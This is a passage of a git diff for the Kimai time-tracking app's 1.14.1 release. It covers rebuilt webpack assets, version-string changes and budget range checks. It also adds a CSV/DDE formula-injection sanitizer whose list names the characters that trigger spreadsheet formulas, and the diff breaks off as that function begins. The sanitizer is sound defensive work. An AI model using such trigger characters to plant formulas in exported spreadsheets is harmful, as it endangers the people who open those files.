-    "build/invoice-pdf.d79f186b.css": "sha384-KSYQKnPrIXiVyfsjoUPzXMIVjPGX7aoYCUKd1eTZUcmKz+a16xKRfzp8bGh8mMoV",
-    "build/2.42abdacc.js": "sha384-HuO5r7paiQjCL4iuzomSAjHpT4xryOt9PTJDeruOY+yq+putGpFRKdOXXqfu5FtR",
-    "build/chart.34d60a88.js": "sha384-I57c9DtU3AOG2kzKqIZkIu0hi1aGYHRZ5QG4LKC9+9slzJnAMttPGXoL2cQG3m6y",
-    "build/calendar.070aab88.js": "sha384-O4jPn6kWox23+Q1jgzeDWwW8LsZWFqLABhkHXze8Hqj4/6rw1MRCVKxFyDxZwcsJ",
-    "build/calendar.1408f57e.css": "sha384-ta519W5+NY1a8FBh7rD4zORYTfUXCYTLci0Z25nf4BfodmuXqyPVNEe7dSe2/fRd"
   }
 }
\ No newline at end of file
diff --git a/public/build/fonts/fa-brands-400.099a9556.woff b/public/build/fonts/fa-brands-400.329a95a9.woff
similarity index 100%
rename from public/build/fonts/fa-brands-400.099a9556.woff
rename to public/build/fonts/fa-brands-400.329a95a9.woff
diff --git a/public/build/fonts/fa-brands-400.30cc681d.eot b/public/build/fonts/fa-brands-400.89a52ae1.eot
similarity index 100%
rename from public/build/fonts/fa-brands-400.30cc681d.eot
rename to public/build/fonts/fa-brands-400.89a52ae1.eot
diff --git a/public/build/fonts/fa-brands-400.3b89dd10.ttf b/public/build/fonts/fa-brands-400.9e138496.ttf
similarity index 100%
rename from public/build/fonts/fa-brands-400.3b89dd10.ttf
rename to public/build/fonts/fa-brands-400.9e138496.ttf
diff --git a/public/build/fonts/fa-brands-400.f7307680.woff2 b/public/build/fonts/fa-brands-400.c1210e5e.woff2
similarity index 100%
rename from public/build/fonts/fa-brands-400.f7307680.woff2
rename to public/build/fonts/fa-brands-400.c1210e5e.woff2
diff --git a/public/build/fonts/fa-regular-400.1f77739c.ttf b/public/build/fonts/fa-regular-400.1017bce8.ttf
similarity index 100%
rename from public/build/fonts/fa-regular-400.1f77739c.ttf
rename to public/build/fonts/fa-regular-400.1017bce8.ttf
diff --git a/public/build/fonts/fa-regular-400.7124eb50.woff b/public/build/fonts/fa-regular-400.36722648.woff
similarity index 100%
rename from public/build/fonts/fa-regular-400.7124eb50.woff
rename to public/build/fonts/fa-regular-400.36722648.woff
diff --git a/public/build/fonts/fa-regular-400.7630483d.eot b/public/build/fonts/fa-regular-400.4079ae2d.eot
similarity index 100%
rename from public/build/fonts/fa-regular-400.7630483d.eot
rename to public/build/fonts/fa-regular-400.4079ae2d.eot
diff --git a/public/build/fonts/fa-regular-400.f0f82301.woff2 b/public/build/fonts/fa-regular-400.68c5af1f.woff2
similarity index 100%
rename from public/build/fonts/fa-regular-400.f0f82301.woff2
rename to public/build/fonts/fa-regular-400.68c5af1f.woff2
diff --git a/public/build/fonts/fa-solid-900.605ed792.ttf b/public/build/fonts/fa-solid-900.07c3313b.ttf
similarity index 100%
rename from public/build/fonts/fa-solid-900.605ed792.ttf
rename to public/build/fonts/fa-solid-900.07c3313b.ttf
diff --git a/public/build/fonts/fa-solid-900.e8a427e1.woff2 b/public/build/fonts/fa-solid-900.ada6e6df.woff2
similarity index 100%
rename from public/build/fonts/fa-solid-900.e8a427e1.woff2
rename to public/build/fonts/fa-solid-900.ada6e6df.woff2
diff --git a/public/build/fonts/fa-solid-900.9fe5a17c.woff b/public/build/fonts/fa-solid-900.c6ec0800.woff
similarity index 100%
rename from public/build/fonts/fa-solid-900.9fe5a17c.woff
rename to public/build/fonts/fa-solid-900.c6ec0800.woff
diff --git a/public/build/fonts/fa-solid-900.1042e8ca.eot b/public/build/fonts/fa-solid-900.efbd5d20.eot
similarity index 100%
rename from public/build/fonts/fa-solid-900.1042e8ca.eot
rename to public/build/fonts/fa-solid-900.efbd5d20.eot
diff --git a/public/build/fonts/glyphicons-halflings-regular.e18bbf61.ttf b/public/build/fonts/glyphicons-halflings-regular.4692b9ec.ttf
similarity index 100%
rename from public/build/fonts/glyphicons-halflings-regular.e18bbf61.ttf
rename to public/build/fonts/glyphicons-halflings-regular.4692b9ec.ttf
diff --git a/public/build/fonts/glyphicons-halflings-regular.f4769f9b.eot b/public/build/fonts/glyphicons-halflings-regular.5be1347c.eot
similarity index 100%
rename from public/build/fonts/glyphicons-halflings-regular.f4769f9b.eot
rename to public/build/fonts/glyphicons-halflings-regular.5be1347c.eot
diff --git a/public/build/fonts/glyphicons-halflings-regular.fa277232.woff b/public/build/fonts/glyphicons-halflings-regular.82b1212e.woff
similarity index 100%
rename from public/build/fonts/glyphicons-halflings-regular.fa277232.woff
rename to public/build/fonts/glyphicons-halflings-regular.82b1212e.woff
diff --git a/public/build/fonts/glyphicons-halflings-regular.448c34a5.woff2 b/public/build/fonts/glyphicons-halflings-regular.be810be3.woff2
similarity index 100%
rename from public/build/fonts/glyphicons-halflings-regular.448c34a5.woff2
rename to public/build/fonts/glyphicons-halflings-regular.be810be3.woff2
diff --git a/public/build/images/fa-brands-400.ba7ed552.svg b/public/build/images/fa-brands-400.216edb96.svg
similarity index 100%
rename from public/build/images/fa-brands-400.ba7ed552.svg
rename to public/build/images/fa-brands-400.216edb96.svg
diff --git a/public/build/images/fa-regular-400.0bb42845.svg b/public/build/images/fa-regular-400.19e27d34.svg
similarity index 100%
rename from public/build/images/fa-regular-400.0bb42845.svg
rename to public/build/images/fa-regular-400.19e27d34.svg
diff --git a/public/build/images/fa-solid-900.376c1f97.svg b/public/build/images/fa-solid-900.13de59f1.svg
similarity index 100%
rename from public/build/images/fa-solid-900.376c1f97.svg
rename to public/build/images/fa-solid-900.13de59f1.svg
diff --git a/public/build/images/glyphicons-halflings-regular.89889688.svg b/public/build/images/glyphicons-halflings-regular.060b2710.svg
similarity index 100%
rename from public/build/images/glyphicons-halflings-regular.89889688.svg
rename to public/build/images/glyphicons-halflings-regular.060b2710.svg
diff --git a/public/build/invoice-pdf.0ce1f3ce.js b/public/build/invoice-pdf.0ce1f3ce.js
new file mode 100644
index 0000000000..7994d0552b
--- /dev/null
+++ b/public/build/invoice-pdf.0ce1f3ce.js
@@ -0,0 +1 @@
+(self.webpackChunkkimai2=self.webpackChunkkimai2||[]).push([[266],{35:function(i,n,s){s(297)},297:function(i,n,s){"use strict";s.r(n)}},function(i){"use strict";var n;n=35,i(i.s=n)}]);
\ No newline at end of file
diff --git a/public/build/invoice-pdf.0efd7a97.js b/public/build/invoice-pdf.0efd7a97.js
deleted file mode 100644
index fdfab896c3..0000000000
--- a/public/build/invoice-pdf.0efd7a97.js
+++ /dev/null
@@ -1 +0,0 @@
-(window.webpackJsonp=window.webpackJsonp||[]).push([["invoice-pdf"],{G2iK:function(n,i,o){},"ls+r":function(n,i,o){o("G2iK")}},[["ls+r","runtime"]]]);
\ No newline at end of file
diff --git a/public/build/invoice-pdf.d79f186b.css b/public/build/invoice-pdf.9a7468ef.css
similarity index 100%
rename from public/build/invoice-pdf.d79f186b.css
rename to public/build/invoice-pdf.9a7468ef.css
diff --git a/public/build/invoice.19f36eca.js b/public/build/invoice.19f36eca.js
new file mode 100644
index 0000000000..14698592c0
--- /dev/null
+++ b/public/build/invoice.19f36eca.js
@@ -0,0 +1 @@
+(self.webpackChunkkimai2=self.webpackChunkkimai2||[]).push([[149],{474:function(i,n,s){s(3648)},3648:function(i,n,s){"use strict";s.r(n)}},function(i){"use strict";var n;n=474,i(i.s=n)}]);
\ No newline at end of file
diff --git a/public/build/invoice.74279541.js b/public/build/invoice.74279541.js
deleted file mode 100644
index 7ca405fbb4..0000000000
--- a/public/build/invoice.74279541.js
+++ /dev/null
@@ -1 +0,0 @@
-(window.webpackJsonp=window.webpackJsonp||[]).push([["invoice"],{AXCM:function(n,i,o){},OMhV:function(n,i,o){o("AXCM")}},[["OMhV","runtime"]]]);
\ No newline at end of file
diff --git a/public/build/invoice.13d8ef4e.css b/public/build/invoice.ff32661a.css
similarity index 100%
rename from public/build/invoice.13d8ef4e.css
rename to public/build/invoice.ff32661a.css
diff --git a/public/build/manifest.json b/public/build/manifest.json
index 25a980b975..94296c39c2 100644
--- a/public/build/manifest.json
+++ b/public/build/manifest.json
@@ -1,37 +1,34 @@
 {
-  "build/0.9ec1fb96.js": "build/0.9ec1fb96.js",
-  "build/1.2890d91a.js": "build/1.2890d91a.js",
-  "build/2.42abdacc.js": "build/2.42abdacc.js",
-  "build/app.css": "build/app.fb1d5bab.css",
-  "build/app.js": "build/app.30cfcd45.js",
-  "build/calendar.css": "build/calendar.1408f57e.css",
-  "build/calendar.js": "build/calendar.070aab88.js",
-  "build/chart.js": "build/chart.34d60a88.js",
-  "build/invoice.css": "build/invoice.13d8ef4e.css",
-  "build/invoice.js": "build/invoice.74279541.js",
-  "build/invoice-pdf.css": "build/invoice-pdf.d79f186b.css",
-  "build/invoice-pdf.js": "build/invoice-pdf.0efd7a97.js",
-  "build/runtime.js": "build/runtime.098eaae1.js",
-  "build/fonts/fa-brands-400.woff": "build/fonts/fa-brands-400.099a9556.woff",
-  "build/fonts/fa-brands-400.eot": "build/fonts/fa-brands-400.30cc681d.eot",
-  "build/fonts/fa-brands-400.ttf": "build/fonts/fa-brands-400.3b89dd10.ttf",
-  "build/fonts/fa-brands-400.woff2": "build/fonts/fa-brands-400.f7307680.woff2",
-  "build/fonts/fa-regular-400.ttf": "build/fonts/fa-regular-400.1f77739c.ttf",
-  "build/fonts/fa-regular-400.woff": "build/fonts/fa-regular-400.7124eb50.woff",
-  "build/fonts/fa-regular-400.eot": "build/fonts/fa-regular-400.7630483d.eot",
-  "build/fonts/fa-regular-400.woff2": "build/fonts/fa-regular-400.f0f82301.woff2",
-  "build/fonts/fa-solid-900.eot": "build/fonts/fa-solid-900.1042e8ca.eot",
-  "build/fonts/fa-solid-900.ttf": "build/fonts/fa-solid-900.605ed792.ttf",
-  "build/fonts/fa-solid-900.woff": "build/fonts/fa-solid-900.9fe5a17c.woff",
-  "build/fonts/fa-solid-900.woff2": "build/fonts/fa-solid-900.e8a427e1.woff2",
-  "build/fonts/glyphicons-halflings-regular.woff2": "build/fonts/glyphicons-halflings-regular.448c34a5.woff2",
-  "build/fonts/glyphicons-halflings-regular.ttf": "build/fonts/glyphicons-halflings-regular.e18bbf61.ttf",
-  "build/fonts/glyphicons-halflings-regular.eot": "build/fonts/glyphicons-halflings-regular.f4769f9b.eot",
-  "build/fonts/glyphicons-halflings-regular.woff": "build/fonts/glyphicons-halflings-regular.fa277232.woff",
-  "build/images/default_avatar.png": "build/images/default_avatar.png",
-  "build/images/fa-brands-400.svg": "build/images/fa-brands-400.ba7ed552.svg",
-  "build/images/fa-regular-400.svg": "build/images/fa-regular-400.0bb42845.svg",
-  "build/images/fa-solid-900.svg": "build/images/fa-solid-900.376c1f97.svg",
-  "build/images/glyphicons-halflings-regular.svg": "build/images/glyphicons-halflings-regular.89889688.svg",
-  "build/images/signature.png": "build/images/signature.png"
+  "build/app.css": "build/app.cf7b7f85.css",
+  "build/app.js": "build/app.e4243154.js",
+  "build/invoice.css": "build/invoice.ff32661a.css",
+  "build/invoice.js": "build/invoice.19f36eca.js",
+  "build/invoice-pdf.css": "build/invoice-pdf.9a7468ef.css",
+  "build/invoice-pdf.js": "build/invoice-pdf.0ce1f3ce.js",
+  "build/chart.js": "build/chart.e845e930.js",
+  "build/calendar.css": "build/calendar.25e7e872.css",
+  "build/calendar.js": "build/calendar.6260174b.js",
+  "build/runtime.js": "build/runtime.b8e7bb04.js",
+  "build/images/fa-solid-900.svg": "build/images/fa-solid-900.13de59f1.svg",
+  "build/images/fa-brands-400.svg": "build/images/fa-brands-400.216edb96.svg",
+  "build/fonts/fa-solid-900.eot": "build/fonts/fa-solid-900.efbd5d20.eot",
+  "build/fonts/fa-solid-900.ttf": "build/fonts/fa-solid-900.07c3313b.ttf",
+  "build/images/fa-regular-400.svg": "build/images/fa-regular-400.19e27d34.svg",
+  "build/fonts/fa-brands-400.eot": "build/fonts/fa-brands-400.89a52ae1.eot",
+  "build/fonts/fa-brands-400.ttf": "build/fonts/fa-brands-400.9e138496.ttf",
+  "build/images/glyphicons-halflings-regular.svg": "build/images/glyphicons-halflings-regular.060b2710.svg",
+  "build/fonts/fa-solid-900.woff": "build/fonts/fa-solid-900.c6ec0800.woff",
+  "build/fonts/fa-brands-400.woff": "build/fonts/fa-brands-400.329a95a9.woff",
+  "build/fonts/fa-solid-900.woff2": "build/fonts/fa-solid-900.ada6e6df.woff2",
+  "build/fonts/fa-brands-400.woff2": "build/fonts/fa-brands-400.c1210e5e.woff2",
+  "build/fonts/glyphicons-halflings-regular.ttf": "build/fonts/glyphicons-halflings-regular.4692b9ec.ttf",
+  "build/fonts/fa-regular-400.eot": "build/fonts/fa-regular-400.4079ae2d.eot",
+  "build/fonts/fa-regular-400.ttf": "build/fonts/fa-regular-400.1017bce8.ttf",
+  "build/fonts/glyphicons-halflings-regular.woff": "build/fonts/glyphicons-halflings-regular.82b1212e.woff",
+  "build/fonts/glyphicons-halflings-regular.eot": "build/fonts/glyphicons-halflings-regular.5be1347c.eot",
+  "build/fonts/glyphicons-halflings-regular.woff2": "build/fonts/glyphicons-halflings-regular.be810be3.woff2",
+  "build/fonts/fa-regular-400.woff": "build/fonts/fa-regular-400.36722648.woff",
+  "build/images/signature.png": "build/images/signature.png",
+  "build/fonts/fa-regular-400.woff2": "build/fonts/fa-regular-400.68c5af1f.woff2",
+  "build/images/default_avatar.png": "build/images/default_avatar.png"
 }
\ No newline at end of file
diff --git a/public/build/runtime.098eaae1.js b/public/build/runtime.098eaae1.js
deleted file mode 100644
index b175a05eaa..0000000000
--- a/public/build/runtime.098eaae1.js
+++ /dev/null
@@ -1 +0,0 @@
-!function(e){function r(r){for(var n,l,i=r[0],f=r[1],a=r[2],c=0,s=[];c<i.length;c++)l=i[c],Object.prototype.hasOwnProperty.call(o,l)&&o[l]&&s.push(o[l][0]),o[l]=0;for(n in f)Object.prototype.hasOwnProperty.call(f,n)&&(e[n]=f[n]);for(p&&p(r);s.length;)s.shift()();return u.push.apply(u,a||[]),t()}function t(){for(var e,r=0;r<u.length;r++){for(var t=u[r],n=!0,i=1;i<t.length;i++){var f=t[i];0!==o[f]&&(n=!1)}n&&(u.splice(r--,1),e=l(l.s=t[0]))}return e}var n={},o={runtime:0},u=[];function l(r){if(n[r])return n[r].exports;var t=n[r]={i:r,l:!1,exports:{}};return e[r].call(t.exports,t,t.exports,l),t.l=!0,t.exports}l.m=e,l.c=n,l.d=function(e,r,t){l.o(e,r)||Object.defineProperty(e,r,{enumerable:!0,get:t})},l.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},l.t=function(e,r){if(1&r&&(e=l(e)),8&r)return e;if(4&r&&"object"==typeof e&&e&&e.__esModule)return e;var t=Object.create(null);if(l.r(t),Object.defineProperty(t,"default",{enumerable:!0,value:e}),2&r&&"string"!=typeof e)for(var n in e)l.d(t,n,function(r){return e[r]}.bind(null,n));return t},l.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return l.d(r,"a",r),r},l.o=function(e,r){return Object.prototype.hasOwnProperty.call(e,r)},l.p="build/";var i=window.webpackJsonp=window.webpackJsonp||[],f=i.push.bind(i);i.push=r,i=i.slice();for(var a=0;a<i.length;a++)r(i[a]);var p=f;t()}([]);
\ No newline at end of file
diff --git a/public/build/runtime.b8e7bb04.js b/public/build/runtime.b8e7bb04.js
new file mode 100644
index 0000000000..e7cb4dd690
--- /dev/null
+++ b/public/build/runtime.b8e7bb04.js
@@ -0,0 +1 @@
+!function(){"use strict";var e,n={},r={};function t(e){var o=r[e];if(void 0!==o)return o.exports;var i=r[e]={id:e,loaded:!1,exports:{}};return n[e].call(i.exports,i,i.exports,t),i.loaded=!0,i.exports}t.m=n,t.amdO={},e=[],t.O=function(n,r,o,i){if(!r){var u=1/0;for(f=0;f<e.length;f++){r=e[f][0],o=e[f][1],i=e[f][2];for(var c=!0,a=0;a<r.length;a++)(!1&i||u>=i)&&Object.keys(t.O).every((function(e){return t.O[e](r[a])}))?r.splice(a--,1):(c=!1,i<u&&(u=i));c&&(e.splice(f--,1),n=o())}return n}i=i||0;for(var f=e.length;f>0&&e[f-1][2]>i;f--)e[f]=e[f-1];e[f]=[r,o,i]},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,{a:n}),n},t.d=function(e,n){for(var r in n)t.o(n,r)&&!t.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:n[r]})},t.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(e){if("object"==typeof window)return window}}(),t.hmd=function(e){return(e=Object.create(e)).children||(e.children=[]),Object.defineProperty(e,"exports",{enumerable:!0,set:function(){throw new Error("ES Modules may not assign module.exports or exports.*, Use ESM export syntax, instead: "+e.id)}}),e},t.o=function(e,n){return Object.prototype.hasOwnProperty.call(e,n)},t.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},t.nmd=function(e){return e.paths=[],e.children||(e.children=[]),e},t.p="build/",function(){var e={666:0};t.O.j=function(n){return 0===e[n]};var n=function(n,r){var o,i,u=r[0],c=r[1],a=r[2],f=0;for(o in c)t.o(c,o)&&(t.m[o]=c[o]);if(a)var l=a(t);for(n&&n(r);f<u.length;f++)i=u[f],t.o(e,i)&&e[i]&&e[i][0](),e[u[f]]=0;return t.O(l)},r=self.webpackChunkkimai2=self.webpackChunkkimai2||[];r.forEach(n.bind(null,0)),r.push=n.bind(null,r.push.bind(r))}()}();
\ No newline at end of file
diff --git a/src/API/Model/Version.php b/src/API/Model/Version.php
index c50de8a1bb..72534b4ed6 100644
--- a/src/API/Model/Version.php
+++ b/src/API/Model/Version.php
@@ -80,5 +80,5 @@ class Version
      * @Serializer\Groups({"Default"})
      * @Serializer\Type(name="string")
      */
-    protected $copyright = Constants::SOFTWARE . ' - ' . Constants::VERSION . ' ' . Constants::STATUS . ' (' . Constants::NAME . ') by Kevin Papst and contributors.';
+    protected $copyright = Constants::SOFTWARE . ' ' . Constants::VERSION . ' by Kevin Papst and contributors.';
 }
diff --git a/src/Command/InstallCommand.php b/src/Command/InstallCommand.php
index 72ff048f5f..b1adfa4814 100644
--- a/src/Command/InstallCommand.php
+++ b/src/Command/InstallCommand.php
@@ -105,7 +105,7 @@ protected function execute(InputInterface $input, OutputInterface $output)
         }
 
         $io->success(
-            sprintf('Congratulations! Successfully installed %s version %s (%s)', Constants::SOFTWARE, Constants::VERSION, Constants::STATUS)
+            sprintf('Congratulations! Successfully installed %s version %s', Constants::SOFTWARE, Constants::VERSION)
         );
 
         return 0;
diff --git a/src/Command/UpdateCommand.php b/src/Command/UpdateCommand.php
index 71746a80a3..3e7fef3f39 100644
--- a/src/Command/UpdateCommand.php
+++ b/src/Command/UpdateCommand.php
@@ -121,7 +121,7 @@ protected function execute(InputInterface $input, OutputInterface $output)
         if ($cacheResult !== 0) {
             $io->warning(
                 [
-                    sprintf('Updated %s to version %s (%s) but the cache could not be rebuilt.', Constants::SOFTWARE, Constants::VERSION, Constants::STATUS),
+                    sprintf('Updated %s to version %s but the cache could not be rebuilt.', Constants::SOFTWARE, Constants::VERSION),
                     'Please run the cache commands manually:',
                     'bin/console cache:clear --env=' . $environment . PHP_EOL .
                     'bin/console cache:warmup --env=' . $environment
@@ -129,7 +129,7 @@ protected function execute(InputInterface $input, OutputInterface $output)
             );
         } else {
             $io->success(
-                sprintf('Congratulations! Successfully updated %s to version %s (%s)', Constants::SOFTWARE, Constants::VERSION, Constants::STATUS)
+                sprintf('Congratulations! Successfully updated %s to version %s', Constants::SOFTWARE, Constants::VERSION)
             );
         }
 
diff --git a/src/Command/VersionCommand.php b/src/Command/VersionCommand.php
index 42a0f4a5d8..b03ccc3c7c 100644
--- a/src/Command/VersionCommand.php
+++ b/src/Command/VersionCommand.php
@@ -31,9 +31,10 @@ protected function configure()
             ->setDescription('Receive version information')
             ->setHelp('This command allows you to fetch various version information about Kimai.')
             ->addOption('name', null, InputOption::VALUE_NONE, 'Display the major release name')
-            ->addOption('candidate', null, InputOption::VALUE_NONE, 'Display the current version candidate (e.g. "stable" or "dev")')
             ->addOption('short', null, InputOption::VALUE_NONE, 'Display the version only')
-            ->addOption('semver', null, InputOption::VALUE_NONE, 'Semantical versioning (SEMVER) compatible version string')
+            // @deprecated since 1.14.1
+            ->addOption('candidate', null, InputOption::VALUE_NONE, 'DEPRECATED: Display the current version candidate (e.g. "stable" or "dev")')
+            ->addOption('semver', null, InputOption::VALUE_NONE, 'DEPRECATED: Semantical versioning (SEMVER) compatible version string')
         ;
     }
 
@@ -68,7 +69,7 @@ protected function execute(InputInterface $input, OutputInterface $output)
             return 0;
         }
 
-        $io->writeln(Constants::SOFTWARE . ' - ' . Constants::VERSION . ' ' . Constants::STATUS . ' (' . Constants::NAME . ') by Kevin Papst and contributors.');
+        $io->writeln(Constants::SOFTWARE . ' ' . Constants::VERSION . ' by Kevin Papst and contributors.');
 
         return 0;
     }
diff --git a/src/Constants.php b/src/Constants.php
index caa3184b78..6d68f3a7a2 100644
--- a/src/Constants.php
+++ b/src/Constants.php
@@ -17,11 +17,11 @@ class Constants
     /**
      * The current release version
      */
-    public const VERSION = '1.14';
+    public const VERSION = '1.14.1';
     /**
      * The current release: major * 10000 + minor * 100 + patch
      */
-    public const VERSION_ID = 11400;
+    public const VERSION_ID = 11401;
     /**
      * The current release status, either "stable" or "dev"
      */
diff --git a/src/Entity/Activity.php b/src/Entity/Activity.php
index 6eda2646d2..6a2e86264d 100644
--- a/src/Entity/Activity.php
+++ b/src/Entity/Activity.php
@@ -135,11 +135,12 @@ class Activity implements EntityWithMetaFields
      * @ Exporter\Expose(label="label.budget")
      *
      * @ORM\Column(name="budget", type="float", nullable=false)
+     * @Assert\Range(min=0.00, max=900000000000.00)
      * @Assert\NotNull()
      */
     private $budget = 0.00;
     /**
-     * The time budget in seconds, will be be zero if unconfigured.
+     * The time budget in seconds, will be zero if unconfigured.
      *
      * @var int
      *
@@ -149,6 +150,7 @@ class Activity implements EntityWithMetaFields
      * @ Exporter\Expose(label="label.timeBudget", type="duration")
      *
      * @ORM\Column(name="time_budget", type="integer", nullable=false)
+     * @Assert\Range(min=0, max=2145600000)
      * @Assert\NotNull()
      */
     private $timeBudget = 0;
diff --git a/src/Entity/Customer.php b/src/Entity/Customer.php
index ba5a6dd46d..44de61cc4b 100644
--- a/src/Entity/Customer.php
+++ b/src/Entity/Customer.php
@@ -266,11 +266,12 @@ class Customer implements EntityWithMetaFields
      * @ Exporter\Expose(label="label.budget")
      *
      * @ORM\Column(name="budget", type="float", nullable=false)
+     * @Assert\Range(min=0.00, max=900000000000.00)
      * @Assert\NotNull()
      */
     private $budget = 0.00;
     /**
-     * The time budget in seconds, will be be zero if not configured.
+     * The time budget in seconds, will be zero if not configured.
      *
      * @var int
      *
@@ -280,6 +281,7 @@ class Customer implements EntityWithMetaFields
      * @ Exporter\Expose(label="label.timeBudget", type="duration")
      *
      * @ORM\Column(name="time_budget", type="integer", nullable=false)
+     * @Assert\Range(min=0, max=2145600000)
      * @Assert\NotNull()
      */
     private $timeBudget = 0;
diff --git a/src/Entity/Project.php b/src/Entity/Project.php
index cd1bbba77c..6645f24004 100644
--- a/src/Entity/Project.php
+++ b/src/Entity/Project.php
@@ -207,11 +207,12 @@ class Project implements EntityWithMetaFields
      * @ Exporter\Expose(label="label.budget")
      *
      * @ORM\Column(name="budget", type="float", nullable=false)
+     * @Assert\Range(min=0.00, max=900000000000.00)
      * @Assert\NotNull()
      */
     private $budget = 0.00;
     /**
-     * The time budget in seconds, will be be zero if not configured.
+     * The time budget in seconds, will be zero if not configured.
      *
      * @var int
      *
@@ -221,6 +222,7 @@ class Project implements EntityWithMetaFields
      * @ Exporter\Expose(label="label.timeBudget", type="duration")
      *
      * @ORM\Column(name="time_budget", type="integer", nullable=false)
+     * @Assert\Range(min=0, max=2145600000)
      * @Assert\NotNull()
      */
     private $timeBudget = 0;
diff --git a/src/EventSubscriber/Actions/AbstractTimesheetSubscriber.php b/src/EventSubscriber/Actions/AbstractTimesheetSubscriber.php
index dd5ffd239f..96ffad34ab 100644
--- a/src/EventSubscriber/Actions/AbstractTimesheetSubscriber.php
+++ b/src/EventSubscriber/Actions/AbstractTimesheetSubscriber.php
@@ -20,10 +20,6 @@ protected function timesheetActions(PageActionsEvent $event, string $routeListin
 
         /** @var Timesheet $timesheet */
         $timesheet = $payload['timesheet'];
-        if (!$event->isIndexView()) {
-            $event->addBack($this->path($routeListing));
-        }
-
         if ($timesheet->getId() !== null) {
             if ($this->isGranted('edit', $timesheet)) {
                 $class = $event->isView('edit') ? '' : 'modal-ajax-form';
diff --git a/src/EventSubscriber/Actions/PermissionsSubscriber.php b/src/EventSubscriber/Actions/PermissionsSubscriber.php
index 68bad376a4..330be2100e 100644
--- a/src/EventSubscriber/Actions/PermissionsSubscriber.php
+++ b/src/EventSubscriber/Actions/PermissionsSubscriber.php
@@ -20,11 +20,6 @@ public static function getActionName(): string
 
     public function onActions(PageActionsEvent $event): void
     {
-        // the "create role" page
-        if (!$event->isIndexView() && $this->isGranted('role_permissions')) {
-            //$event->addBack($this->path('admin_user_permissions'));
-        }
-
         if ($this->isGranted('role_permissions')) {
             $event->addCreate($this->path('admin_user_roles'), !$event->isView('role'));
         }
diff --git a/src/EventSubscriber/Actions/TagSubscriber.php b/src/EventSubscriber/Actions/TagSubscriber.php
index ed44668c30..b61ccb096e 100644
--- a/src/EventSubscriber/Actions/TagSubscriber.php
+++ b/src/EventSubscriber/Actions/TagSubscriber.php
@@ -37,10 +37,6 @@ public function onActions(PageActionsEvent $event): void
             $name = $tag->getName();
         }
 
-        if (!$event->isIndexView() && $this->isGranted('view_tag')) {
-            //$event->addBack($this->path('tags'));
-        }
-
         if ($id === null) {
             return;
         }
diff --git a/src/EventSubscriber/Actions/TeamSubscriber.php b/src/EventSubscriber/Actions/TeamSubscriber.php
index 2d6e750016..1a0a7ac74f 100644
--- a/src/EventSubscriber/Actions/TeamSubscriber.php
+++ b/src/EventSubscriber/Actions/TeamSubscriber.php
@@ -26,10 +26,6 @@ public function onActions(PageActionsEvent $event): void
         /** @var Team $team */
         $team = $payload['team'];
 
-        if (!$event->isIndexView() && $this->isGranted('view_tag')) {
-            //$event->addBack($this->path('admin_team'));
-        }
-
         if ($team->getId() === null) {
             return;
         }
diff --git a/src/Export/Base/AbstractSpreadsheetRenderer.php b/src/Export/Base/AbstractSpreadsheetRenderer.php
index 1709779dd9..2c75b858e1 100644
--- a/src/Export/Base/AbstractSpreadsheetRenderer.php
+++ b/src/Export/Base/AbstractSpreadsheetRenderer.php
@@ -20,6 +20,7 @@
 use App\Repository\Query\CustomerQuery;
 use App\Repository\Query\TimesheetQuery;
 use App\Twig\LocaleFormatExtensions;
+use App\Utils\StringHelper;
 use DateTime;
 use PhpOffice\PhpSpreadsheet\Cell\DataType;
 use PhpOffice\PhpSpreadsheet\Shared\Date;
@@ -80,6 +81,7 @@ abstract class AbstractSpreadsheetRenderer
         'description' => [
             'maxWidth' => 50,
             'wrapText' => false,
+            'sanitizeDDE' => true,
         ],
         'exported' => [],
         'billable' => [],
@@ -337,15 +339,21 @@ protected function getColumns(array $exportItems, TimesheetQuery $query, array $
         if (isset($columns['description']) && !isset($columns['description']['render'])) {
             $maxWidth = \array_key_exists('maxWidth', $columns['description']) ? \intval($columns['description']['maxWidth']) : null;
             $wrapText = \array_key_exists('wrapText', $columns['description']) ? (bool) $columns['description']['wrapText'] : false;
+            $sanitizeText = \array_key_exists('sanitizeDDE', $columns['description']) ? (bool) $columns['description']['sanitizeDDE'] : true;
 
             // This column has a column-only formatter to set the maximum width of a column.
             // It needs to be executed once, so we use this as a flag on when to skip it.
             $isColumnFormatted = false;
 
-            $columns['description']['render'] = function (Worksheet $sheet, int $row, int $column, ExportItemInterface $entity) use (&$isColumnFormatted, $maxWidth, $wrapText) {
+            $columns['description']['render'] = function (Worksheet $sheet, int $row, int $column, ExportItemInterface $entity) use (&$isColumnFormatted, $maxWidth, $wrapText, $sanitizeText) {
                 $cell = $sheet->getCellByColumnAndRow($column, $row);
+                $desc = $entity->getDescription();
 
-                $cell->setValueExplicit($entity->getDescription(), DataType::TYPE_STRING);
+                if ($sanitizeText && null !== $desc) {
+                    $desc = StringHelper::sanitizeDDE($desc);
+                }
+
+                $cell->setValueExplicit($desc, DataType::TYPE_STRING);
 
                 // Apply wrap text if configured
                 if ($wrapText) {
@@ -355,8 +363,7 @@ protected function getColumns(array $exportItems, TimesheetQuery $query, array $
                 // Apply max width, only needs to be once per column
                 if (!$isColumnFormatted) {
                     if (null !== $maxWidth) {
-                        $sheet->getColumnDimensionByColumn($column)
-                            ->setWidth($maxWidth);
+                        $sheet->getColumnDimensionByColumn($column)->setWidth($maxWidth);
                     }
                     $isColumnFormatted = true;
                 }
diff --git a/src/Utils/StringHelper.php b/src/Utils/StringHelper.php
index fec958aee4..a48c67f54a 100644
--- a/src/Utils/StringHelper.php
+++ b/src/Utils/StringHelper.php
@@ -11,6 +11,9 @@
 
 final class StringHelper
 {
+    // @see https://github.com/payloadbox/csv-injection-payloads
+    private const DDE_PAYLOADS = ['=', '-', '@', '+', "\t", "\n", "\r", "\r\n"];
+
     public static function ensureMaxLength(?string $string, int $length): ?string
     {
         if (null === $string) {
@@ -23,4 +26,22 @@ public static function ensureMaxLength(?string $string, int $length): ?string
 
         return $string;
     }
+
+    public static function sanitizeDDE(string $text): string
+    {
